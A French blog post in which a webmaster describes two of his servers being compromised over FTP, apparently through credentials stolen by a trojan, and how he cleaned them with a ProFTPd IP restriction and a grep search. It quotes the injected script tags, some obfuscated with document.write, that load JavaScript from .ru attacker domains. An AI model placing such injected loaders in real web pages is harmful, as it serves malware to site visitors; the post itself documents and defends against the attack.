Un serveur touché
Tout a commencé il y a trois jours lorsque je remarque que sur un de mes sites, le nombre de connecté est égal a 0. chose plutôt rare sur un site générant plus de 15k vu/jour. Je me rend sur l’index et constate une erreur php, en analysant le fichier index, je me rend compte que l’on dirait que celui ci a été mal envoyé. Mes collègues n’ayant pas touché au site, je renvoie le fichier, le site se remet en marche.

Et de deux
Je me rends ensuite sur le blog sur lequel vous êtes en train de lire ce billet, lui aussi se retrouve avec une erreur, cela parait étrange, les deux sites se trouvent sur des serveurs différents, il ne me faut pas beaucoup de temps pour me rendre compte que les deux serveurs ont été hacké, et qu’une ligne de code javascript à été injecté à la fin de certains fichiers.
Cette ligne ressemble a la suivante:
<script type="text/javascript" src="http://pocketbloke.ru/Facebook.js"></script>
<!--5465418sd5s4ds84ddss58d4s5ds7 -->

ou bien encore

<script type="text/javascript" src="http://chickcase.ru/Dtabase.js"></script>

<script type="text/javascript" src="http://inkrainbow.ru/Google.js"></script>

document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Database.js"></scri'+'pt>');

Comment ce code malicieux a t’il pu se loger sur deux de nos serveurs, la coïncidence est trop étrange, cela provient forcement de notre poste de travail, le logiciel que je suspect est filezilla, en effet j’avais déjà lu des problèmes de sécurité liés aux mots de passes de ce logiciel qui ne sont pas codés.

Désinfection serveur
Je m’intéresse ensuite aux logs de connexion aux serveurs, je me rend compte que différentes IP se sont connectés aux serveurs, ont téléchargé des fichiers puis les ont reuploadé avec ajout du code malicieux, la géolocalisation de ses IP me fait faire le tour du monde, impossible de réellement tracer tout cela. L’important est de toute façon de vite nettoyer les nombreux sites hébergés sur les serveurs.

Vu que les fichiers ont été modifiés en FTP, je décide de n’autoriser la connexion au serveur par ce protocole qu’a certaines adresses IP prédéfinies, cela grâce au fichier de configuration de ProFTPd.

Extrait de la configuration pour n’autoriser qu’une IP :

vim /etc/proftpd/proftpd.conf

<Global>
<Limit LOGIN>
Order Allow,Deny
Allow from 127.0.0.1
DenyAll
</Limit>
</Global>

Il ne me reste plus qu’a changer tous les mots de passe ftp des sites, scanner tous les fichiers du serveur afin de partir a la recherche des expressions contenant un .ru (grâce au très efficace Grep) et de les supprimer.

Petit exemple de comment rechercher tous les fichiers contenant « http://unsiterusse.ru » en excluant certains dossier :

egrep -ir --exclude-dir=vpopmail --exclude-dir=/home/mysql --exclude-dir=/home/log --exclude-dir=/home/ovh "http.*\.ru/.*\$" /home/

Désinfection Poste de travail
Coté poste de travail, l’installation de MalwareBytes a mit en évidence un trojan qui s’était dissimulé dans mon ordinateur, c’est vraisemblablement ce dernier qui s’est chargé de récupérer les informations précieuses de connexion aux sites.

Pour ceux que cela intéresse, vous trouverez chez @neamar des info concernant ce probleme sur lequel notre cher collègue s’est aussi heurté. Un merci aussi a @PoT_de_NuTeLLa, @ViNzZzZ, @dmarkowicz, @RandyOlson69,